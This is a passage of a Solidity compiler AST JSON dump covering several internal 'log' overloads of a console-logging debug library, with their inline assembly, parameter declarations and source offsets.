":"YulIdentifier","src":"116306:2:22"}],"functionName":{"name":"writeString","nativeSrc":"116288:11:22","nodeType":"YulIdentifier","src":"116288:11:22"},"nativeSrc":"116288:21:22","nodeType":"YulFunctionCall","src":"116288:21:22"},"nativeSrc":"116288:21:22","nodeType":"YulExpressionStatement","src":"116288:21:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"116334:4:22","nodeType":"YulLiteral","src":"116334:4:22","type":"","value":"0xe0"},{"name":"p3","nativeSrc":"116340:2:22","nodeType":"YulIdentifier","src":"116340:2:22"}],"functionName":{"name":"writeString","nativeSrc":"116322:11:22","nodeType":"YulIdentifier","src":"116322:11:22"},"nativeSrc":"116322:21:22","nodeType":"YulFunctionCall","src":"116322:21:22"},"nativeSrc":"116322:21:22","nodeType":"YulExpressionStatement","src":"116322:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":37496,"isOffset":false,"isSlot":false,"src":"115798:2:22","valueSize":1},{"declaration":37499,"isOffset":false,"isSlot":false,"src":"115828:2:22","valueSize":1},{"declaration":37502,"isOffset":false,"isSlot":false,"src":"115858:2:22","valueSize":1},{"declaration":37505,"isOffset":false,"isSlot":false,"src":"115888:2:22","valueSize":1},{"declaration":37508,"isOffset":false,"isSlot":false,"src":"115918:2:22","valueSize":1},{"declaration":37511,"isOffset":false,"isSlot":false,"src":"115948:2:22","valueSize":1},{"declaration":37514,"isOffset":false,"isSlot":false,"src":"115978:2:22","valueSize":1},{"declaration":37517,"isOffset":false,"isSlot":false,"src":"116008:2:22","valueSize":1},{"declaration":37520,"isOffset":false,"isSlot":false,"src":"116038:2:22","valueSize":1},{"declaration":37486,"isOffset":false,"isSlot":false,"src":"116181:2:22","valueSize":1},{"declaration":37488,"isOffset":false,"isSlot":false,"src":"116210:2:22","valueSize":1},{"declaration":37490,"isOffset":false,"isSlot":false,"src":"116306:2:22","valueSize":1},{"declaration":37492,"isOffset":false,"isSlot":false,"src":"116340:2:22","valueSize":1}],"id":37522,"nodeType":"InlineAssembly","src":"115420:933:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":37524,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"116378:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"3078313034","id":37525,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"116384:5:22","typeDescriptions":{"typeIdentifier":"t_rational_260_by_1","typeString":"int_const 260"},"value":"0x104"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_260_by_1","typeString":"int_const 260"}],"id":37523,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"116362:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":37526,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"116362:28:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":37527,"nodeType":"ExpressionStatement","src":"116362:28:22"},{"AST":{"nativeSrc":"116409:273:22","nodeType":"YulBlock","src":"116409:273:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"116430:4:22","nodeType":"YulLiteral","src":"116430:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"116436:2:22","nodeType":"YulIdentifier","src":"116436:2:22"}],"functionName":{"name":"mstore","nativeSrc":"116423:6:22","nodeType":"YulIdentifier","src":"116423:6:22"},"nativeSrc":"116423:16:22","nodeType":"YulFunctionCall","src":"116423:16:22"},"nativeSrc":"116423:16:22","nodeType":"YulExpressionStatement","src":"116423:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"116459:4:22","nodeType":"YulLiteral","src":"116459:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"116465:2:22","nodeType":"YulIdentifier","src":"116465:2:22"}],"functionName":{"name":"mstore","nativeSrc":"116452:6:22","nodeType":"YulIdentifier","src":"116452:6:22"},"nativeSrc":"116452:16:22","nodeType":"YulFunctionCall","src":"116452:16:22"},"nativeSrc":"116452:16:22","nodeType":"YulExpressionStatement","src":"116452:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"116488:4:22","nodeType":"YulLiteral","src":"116488:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"116494:2:22","nodeType":"YulIdentifier","src":"116494:2:22"}],"functionName":{"name":"mstore","nativeSrc":"116481:6:22","nodeType":"YulIdentifier","src":"116481:6:22"},"nativeSrc":"116481:16:22","nodeType":"YulFunctionCall","src":"116481:16:22"},"nativeSrc":"116481:16:22","nodeType":"YulExpressionStatement","src":"116481:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"116517:4:22","nodeType":"YulLiteral","src":"116517:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"116523:2:22","nodeType":"YulIdentifier","src":"116523:2:22"}],"functionName":{"name":"mstore","nativeSrc":"116510:6:22","nodeType":"YulIdentifier","src":"116510:6:22"},"nativeSrc":"116510:16:22","nodeType":"YulFunctionCall","src":"116510:16:22"},"nativeSrc":"116510:16:22","nodeType":"YulExpressionStatement","src":"116510:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"116546:4:22","nodeType":"YulLiteral","src":"116546:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"116552:2:22","nodeType":"YulIdentifier","src":"116552:2:22"}],"functionName":{"name":"mstore","nativeSrc":"116539:6:22","nodeType":"YulIdentifier","src":"116539:6:22"},"nativeSrc":"116539:16:22","nodeType":"YulFunctionCall","src":"116539:16:22"},"nativeSrc":"116539:16:22","nodeType":"YulExpressionStatement","src":"116539:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"116575:4:22","nodeType":"YulLiteral","src":"116575:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"116581:2:22","nodeType":"YulIdentifier","src":"116581:2:22"}],"functionName":{"name":"mstore","nativeSrc":"116568:6:22","nodeType":"YulIdentifier","src":"116568:6:22"},"nativeSrc":"116568:16:22","nodeType":"YulFunctionCall","src":"116568:16:22"},"nativeSrc":"116568:16:22","nodeType":"YulExpressionStatement","src":"116568:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"116604:4:22","nodeType":"YulLiteral","src":"116604:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"116610:2:22","nodeType":"YulIdentifier","src":"116610:2:22"}],"functionName":{"name":"mstore","nativeSrc":"116597:6:22","nodeType":"YulIdentifier","src":"116597:6:22"},"nativeSrc":"116597:16:22","nodeType":"YulFunctionCall","src":"116597:16:22"},"nativeSrc":"116597:16:22","nodeType":"YulExpressionStatement","src":"116597:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"116633:4:22","nodeType":"YulLiteral","src":"116633:4:22","type":"","value":"0xe0"},{"name":"m7","nativeSrc":"116639:2:22","nodeType":"YulIdentifier","src":"116639:2:22"}],"functionName":{"name":"mstore","nativeSrc":"116626:6:22","nodeType":"YulIdentifier","src":"116626:6:22"},"nativeSrc":"116626:16:22","nodeType":"YulFunctionCall","src":"116626:16:22"},"nativeSrc":"116626:16:22","nodeType":"YulExpressionStatement","src":"116626:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"116662:5:22","nodeType":"YulLiteral","src":"116662:5:22","type":"","value":"0x100"},{"name":"m8","nativeSrc":"116669:2:22","nodeType":"YulIdentifier","src":"116669:2:22"}],"functionName":{"name":"mstore","nativeSrc":"116655:6:22","nodeType":"YulIdentifier","src":"116655:6:22"},"nativeSrc":"116655:17:22","nodeType":"YulFunctionCall","src":"116655:17:22"},"nativeSrc":"116655:17:22","nodeType":"YulExpressionStatement","src":"116655:17:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":37496,"isOffset":false,"isSlot":false,"src":"116436:2:22","valueSize":1},{"declaration":37499,"isOffset":false,"isSlot":false,"src":"116465:2:22","valueSize":1},{"declaration":37502,"isOffset":false,"isSlot":false,"src":"116494:2:22","valueSize":1},{"declaration":37505,"isOffset":false,"isSlot":false,"src":"116523:2:22","valueSize":1},{"declaration":37508,"isOffset":false,"isSlot":false,"src":"116552:2:22","valueSize":1},{"declaration":37511,"isOffset":false,"isSlot":false,"src":"116581:2:22","valueSize":1},{"declaration":37514,"isOffset":false,"isSlot":false,"src":"116610:2:22","valueSize":1},{"declaration":37517,"isOffset":false,"isSlot":false,"src":"116639:2:22","valueSize":1},{"declaration":37520,"isOffset":false,"isSlot":false,"src":"116669:2:22","valueSize":1}],"id":37528,"nodeType":"InlineAssembly","src":"116400:282:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"115167:3:22","parameters":{"id":37493,"nodeType":"ParameterList","parameters":[{"constant":false,"id":37486,"mutability":"mutable","name":"p0","nameLocation":"115179:2:22","nodeType":"VariableDeclaration","scope":37530,"src":"115171:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":37485,"name":"address","nodeType":"ElementaryTypeName","src":"115171:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":37488,"mutability":"mutable","name":"p1","nameLocation":"115188:2:22","nodeType":"VariableDeclaration","scope":37530,"src":"115183:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":37487,"name":"bool","nodeType":"ElementaryTypeName","src":"115183:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":37490,"mutability":"mutable","name":"p2","nameLocation":"115200:2:22","nodeType":"VariableDeclaration","scope":37530,"src":"115192:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37489,"name":"bytes32","nodeType":"ElementaryTypeName","src":"115192:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":37492,"mutability":"mutable","name":"p3","nameLocation":"115212:2:22","nodeType":"VariableDeclaration","scope":37530,"src":"115204:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37491,"name":"bytes32","nodeType":"ElementaryTypeName","src":"115204:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"115170:45:22"},"returnParameters":{"id":37494,"nodeType":"ParameterList","parameters":[],"src":"115230:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":37564,"nodeType":"FunctionDefinition","src":"116694:792:22","nodes":[],"body":{"id":37563,"nodeType":"Block","src":"116769:717:22","nodes":[],"statements":[{"assignments":[37542],"declarations":[{"constant":false,"id":37542,"mutability":"mutable","name":"m0","nameLocation":"116787:2:22","nodeType":"VariableDeclaration","scope":37563,"src":"116779:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37541,"name":"bytes32","nodeType":"ElementaryTypeName","src":"116779:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37543,"nodeType":"VariableDeclarationStatement","src":"116779:10:22"},{"assignments":[37545],"declarations":[{"constant":false,"id":37545,"mutability":"mutable","name":"m1","nameLocation":"116807:2:22","nodeType":"VariableDeclaration","scope":37563,"src":"116799:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37544,"name":"bytes32","nodeType":"ElementaryTypeName","src":"116799:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37546,"nodeType":"VariableDeclarationStatement","src":"116799:10:22"},{"assignments":[37548],"declarations":[{"constant":false,"id":37548,"mutability":"mutable","name":"m2","nameLocation":"116827:2:22","nodeType":"VariableDeclaration","scope":37563,"src":"116819:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37547,"name":"bytes32","nodeType":"ElementaryTypeName","src":"116819:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37549,"nodeType":"VariableDeclarationStatement","src":"116819:10:22"},{"assignments":[37551],"declarations":[{"constant":false,"id":37551,"mutability":"mutable","name":"m3","nameLocation":"116847:2:22","nodeType":"VariableDeclaration","scope":37563,"src":"116839:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37550,"name":"bytes32","nodeType":"ElementaryTypeName","src":"116839:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37552,"nodeType":"VariableDeclarationStatement","src":"116839:10:22"},{"assignments":[37554],"declarations":[{"constant":false,"id":37554,"mutability":"mutable","name":"m4","nameLocation":"116867:2:22","nodeType":"VariableDeclaration","scope":37563,"src":"116859:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37553,"name":"bytes32","nodeType":"ElementaryTypeName","src":"116859:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37555,"nodeType":"VariableDeclarationStatement","src":"116859:10:22"},{"AST":{"nativeSrc":"116888:381:22","nodeType":"YulBlock","src":"116888:381:22","statements":[{"nativeSrc":"116902:17:22","nodeType":"YulAssignment","src":"116902:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"116914:4:22","nodeType":"YulLiteral","src":"116914:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"116908:5:22","nodeType":"YulIdentifier","src":"116908:5:22"},"nativeSrc":"116908:11:22","nodeType":"YulFunctionCall","src":"116908:11:22"},"variableNames":[{"name":"m0","nativeSrc":"116902:2:22","nodeType":"YulIdentifier","src":"116902:2:22"}]},{"nativeSrc":"116932:17:22","nodeType":"YulAssignment","src":"116932:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"116944:4:22","nodeType":"YulLiteral","src":"116944:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"116938:5:22","nodeType":"YulIdentifier","src":"116938:5:22"},"nativeSrc":"116938:11:22","nodeType":"YulFunctionCall","src":"116938:11:22"},"variableNames":[{"name":"m1","nativeSrc":"116932:2:22","nodeType":"YulIdentifier","src":"116932:2:22"}]},{"nativeSrc":"116962:17:22","nodeType":"YulAssignment","src":"116962:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"116974:4:22","nodeType":"YulLiteral","src":"116974:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"116968:5:22","nodeType":"YulIdentifier","src":"116968:5:22"},"nativeSrc":"116968:11:22","nodeType":"YulFunctionCall","src":"116968:11:22"},"variableNames":[{"name":"m2","nativeSrc":"116962:2:22","nodeType":"YulIdentifier","src":"116962:2:22"}]},{"nativeSrc":"116992:17:22","nodeType":"YulAssignment","src":"116992:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"117004:4:22","nodeType":"YulLiteral","src":"117004:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"116998:5:22","nodeType":"YulIdentifier","src":"116998:5:22"},"nativeSrc":"116998:11:22","nodeType":"YulFunctionCall","src":"116998:11:22"},"variableNames":[{"name":"m3","nativeSrc":"116992:2:22","nodeType":"YulIdentifier","src":"116992:2:22"}]},{"nativeSrc":"117022:17:22","nodeType":"YulAssignment","src":"117022:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"117034:4:22","nodeType":"YulLiteral","src":"117034:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"117028:5:22","nodeType":"YulIdentifier","src":"117028:5:22"},"nativeSrc":"117028:11:22","nodeType":"YulFunctionCall","src":"117028:11:22"},"variableNames":[{"name":"m4","nativeSrc":"117022:2:22","nodeType":"YulIdentifier","src":"117022:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"117126:4:22","nodeType":"YulLiteral","src":"117126:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"117132:10:22","nodeType":"YulLiteral","src":"117132:10:22","type":"","value":"0x478d1c62"}],"functionName":{"name":"mstore","nativeSrc":"117119:6:22","nodeType":"YulIdentifier","src":"117119:6:22"},"nativeSrc":"117119:24:22","nodeType":"YulFunctionCall","src":"117119:24:22"},"nativeSrc":"117119:24:22","nodeType":"YulExpressionStatement","src":"117119:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"117163:4:22","nodeType":"YulLiteral","src":"117163:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"117169:2:22","nodeType":"YulIdentifier","src":"117169:2:22"}],"functionName":{"name":"mstore","nativeSrc":"117156:6:22","nodeType":"YulIdentifier","src":"117156:6:22"},"nativeSrc":"117156:16:22","nodeType":"YulFunctionCall","src":"117156:16:22"},"nativeSrc":"117156:16:22","nodeType":"YulExpressionStatement","src":"117156:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"117192:4:22","nodeType":"YulLiteral","src":"117192:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"117198:2:22","nodeType":"YulIdentifier","src":"117198:2:22"}],"functionName":{"name":"mstore","nativeSrc":"117185:6:22","nodeType":"YulIdentifier","src":"117185:6:22"},"nativeSrc":"117185:16:22","nodeType":"YulFunctionCall","src":"117185:16:22"},"nativeSrc":"117185:16:22","nodeType":"YulExpressionStatement","src":"117185:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"117221:4:22","nodeType":"YulLiteral","src":"117221:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"117227:2:22","nodeType":"YulIdentifier","src":"117227:2:22"}],"functionName":{"name":"mstore","nativeSrc":"117214:6:22","nodeType":"YulIdentifier","src":"117214:6:22"},"nativeSrc":"117214:16:22","nodeType":"YulFunctionCall","src":"117214:16:22"},"nativeSrc":"117214:16:22","nodeType":"YulExpressionStatement","src":"117214:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"117250:4:22","nodeType":"YulLiteral","src":"117250:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"117256:2:22","nodeType":"YulIdentifier","src":"117256:2:22"}],"functionName":{"name":"mstore","nativeSrc":"117243:6:22","nodeType":"YulIdentifier","src":"117243:6:22"},"nativeSrc":"117243:16:22","nodeType":"YulFunctionCall","src":"117243:16:22"},"nativeSrc":"117243:16:22","nodeType":"YulExpressionStatement","src":"117243:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":37542,"isOffset":false,"isSlot":false,"src":"116902:2:22","valueSize":1},{"declaration":37545,"isOffset":false,"isSlot":false,"src":"116932:2:22","valueSize":1},{"declaration":37548,"isOffset":false,"isSlot":false,"src":"116962:2:22","valueSize":1},{"declaration":37551,"isOffset":false,"isSlot":false,"src":"116992:2:22","valueSize":1},{"declaration":37554,"isOffset":false,"isSlot":false,"src":"117022:2:22","valueSize":1},{"declaration":37532,"isOffset":false,"isSlot":false,"src":"117169:2:22","valueSize":1},{"declaration":37534,"isOffset":false,"isSlot":false,"src":"117198:2:22","valueSize":1},{"declaration":37536,"isOffset":false,"isSlot":false,"src":"117227:2:22","valueSize":1},{"declaration":37538,"isOffset":false,"isSlot":false,"src":"117256:2:22","valueSize":1}],"id":37556,"nodeType":"InlineAssembly","src":"116879:390:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":37558,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"117294:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783834","id":37559,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"117300:4:22","typeDescriptions":{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"},"value":"0x84"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"}],"id":37557,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"117278:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":37560,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"117278:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":37561,"nodeType":"ExpressionStatement","src":"117278:27:22"},{"AST":{"nativeSrc":"117324:156:22","nodeType":"YulBlock","src":"117324:156:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"117345:4:22","nodeType":"YulLiteral","src":"117345:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"117351:2:22","nodeType":"YulIdentifier","src":"117351:2:22"}],"functionName":{"name":"mstore","nativeSrc":"117338:6:22","nodeType":"YulIdentifier","src":"117338:6:22"},"nativeSrc":"117338:16:22","nodeType":"YulFunctionCall","src":"117338:16:22"},"nativeSrc":"117338:16:22","nodeType":"YulExpressionStatement","src":"117338:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"117374:4:22","nodeType":"YulLiteral","src":"117374:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"117380:2:22","nodeType":"YulIdentifier","src":"117380:2:22"}],"functionName":{"name":"mstore","nativeSrc":"117367:6:22","nodeType":"YulIdentifier","src":"117367:6:22"},"nativeSrc":"117367:16:22","nodeType":"YulFunctionCall","src":"117367:16:22"},"nativeSrc":"117367:16:22","nodeType":"YulExpressionStatement","src":"117367:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"117403:4:22","nodeType":"YulLiteral","src":"117403:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"117409:2:22","nodeType":"YulIdentifier","src":"117409:2:22"}],"functionName":{"name":"mstore","nativeSrc":"117396:6:22","nodeType":"YulIdentifier","src":"117396:6:22"},"nativeSrc":"117396:16:22","nodeType":"YulFunctionCall","src":"117396:16:22"},"nativeSrc":"117396:16:22","nodeType":"YulExpressionStatement","src":"117396:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"117432:4:22","nodeType":"YulLiteral","src":"117432:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"117438:2:22","nodeType":"YulIdentifier","src":"117438:2:22"}],"functionName":{"name":"mstore","nativeSrc":"117425:6:22","nodeType":"YulIdentifier","src":"117425:6:22"},"nativeSrc":"117425:16:22","nodeType":"YulFunctionCall","src":"117425:16:22"},"nativeSrc":"117425:16:22","nodeType":"YulExpressionStatement","src":"117425:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"117461:4:22","nodeType":"YulLiteral","src":"117461:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"117467:2:22","nodeType":"YulIdentifier","src":"117467:2:22"}],"functionName":{"name":"mstore","nativeSrc":"117454:6:22","nodeType":"YulIdentifier","src":"117454:6:22"},"nativeSrc":"117454:16:22","nodeType":"YulFunctionCall","src":"117454:16:22"},"nativeSrc":"117454:16:22","nodeType":"YulExpressionStatement","src":"117454:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":37542,"isOffset":false,"isSlot":false,"src":"117351:2:22","valueSize":1},{"declaration":37545,"isOffset":false,"isSlot":false,"src":"117380:2:22","valueSize":1},{"declaration":37548,"isOffset":false,"isSlot":false,"src":"117409:2:22","valueSize":1},{"declaration":37551,"isOffset":false,"isSlot":false,"src":"117438:2:22","valueSize":1},{"declaration":37554,"isOffset":false,"isSlot":false,"src":"117467:2:22","valueSize":1}],"id":37562,"nodeType":"InlineAssembly","src":"117315:165:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"116703:3:22","parameters":{"id":37539,"nodeType":"ParameterList","parameters":[{"constant":false,"id":37532,"mutability":"mutable","name":"p0","nameLocation":"116715:2:22","nodeType":"VariableDeclaration","scope":37564,"src":"116707:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":37531,"name":"address","nodeType":"ElementaryTypeName","src":"116707:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":37534,"mutability":"mutable","name":"p1","nameLocation":"116727:2:22","nodeType":"VariableDeclaration","scope":37564,"src":"116719:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":37533,"name":"uint256","nodeType":"ElementaryTypeName","src":"116719:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":37536,"mutability":"mutable","name":"p2","nameLocation":"116739:2:22","nodeType":"VariableDeclaration","scope":37564,"src":"116731:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":37535,"name":"address","nodeType":"ElementaryTypeName","src":"116731:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":37538,"mutability":"mutable","name":"p3","nameLocation":"116751:2:22","nodeType":"VariableDeclaration","scope":37564,"src":"116743:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":37537,"name":"address","nodeType":"ElementaryTypeName","src":"116743:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"116706:48:22"},"returnParameters":{"id":37540,"nodeType":"ParameterList","parameters":[],"src":"116769:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":37598,"nodeType":"FunctionDefinition","src":"117492:786:22","nodes":[],"body":{"id":37597,"nodeType":"Block","src":"117564:714:22","nodes":[],"statements":[{"assignments":[37576],"declarations":[{"constant":false,"id":37576,"mutability":"mutable","name":"m0","nameLocation":"117582:2:22","nodeType":"VariableDeclaration","scope":37597,"src":"117574:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37575,"name":"bytes32","nodeType":"ElementaryTypeName","src":"117574:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37577,"nodeType":"VariableDeclarationStatement","src":"117574:10:22"},{"assignments":[37579],"declarations":[{"constant":false,"id":37579,"mutability":"mutable","name":"m1","nameLocation":"117602:2:22","nodeType":"VariableDeclaration","scope":37597,"src":"117594:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37578,"name":"bytes32","nodeType":"ElementaryTypeName","src":"117594:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37580,"nodeType":"VariableDeclarationStatement","src":"117594:10:22"},{"assignments":[37582],"declarations":[{"constant":false,"id":37582,"mutability":"mutable","name":"m2","nameLocation":"117622:2:22","nodeType":"VariableDeclaration","scope":37597,"src":"117614:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37581,"name":"bytes32","nodeType":"ElementaryTypeName","src":"117614:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37583,"nodeType":"VariableDeclarationStatement","src":"117614:10:22"},{"assignments":[37585],"declarations":[{"constant":false,"id":37585,"mutability":"mutable","name":"m3","nameLocation":"117642:2:22","nodeType":"VariableDeclaration","scope":37597,"src":"117634:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37584,"name":"bytes32","nodeType":"ElementaryTypeName","src":"117634:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37586,"nodeType":"VariableDeclarationStatement","src":"117634:10:22"},{"assignments":[37588],"declarations":[{"constant":false,"id":37588,"mutability":"mutable","name":"m4","nameLocation":"117662:2:22","nodeType":"VariableDeclaration","scope":37597,"src":"117654:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37587,"name":"bytes32","nodeType":"ElementaryTypeName","src":"117654:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37589,"nodeType":"VariableDeclarationStatement","src":"117654:10:22"},{"AST":{"nativeSrc":"117683:378:22","nodeType":"YulBlock","src":"117683:378:22","statements":[{"nativeSrc":"117697:17:22","nodeType":"YulAssignment","src":"117697:17:22","v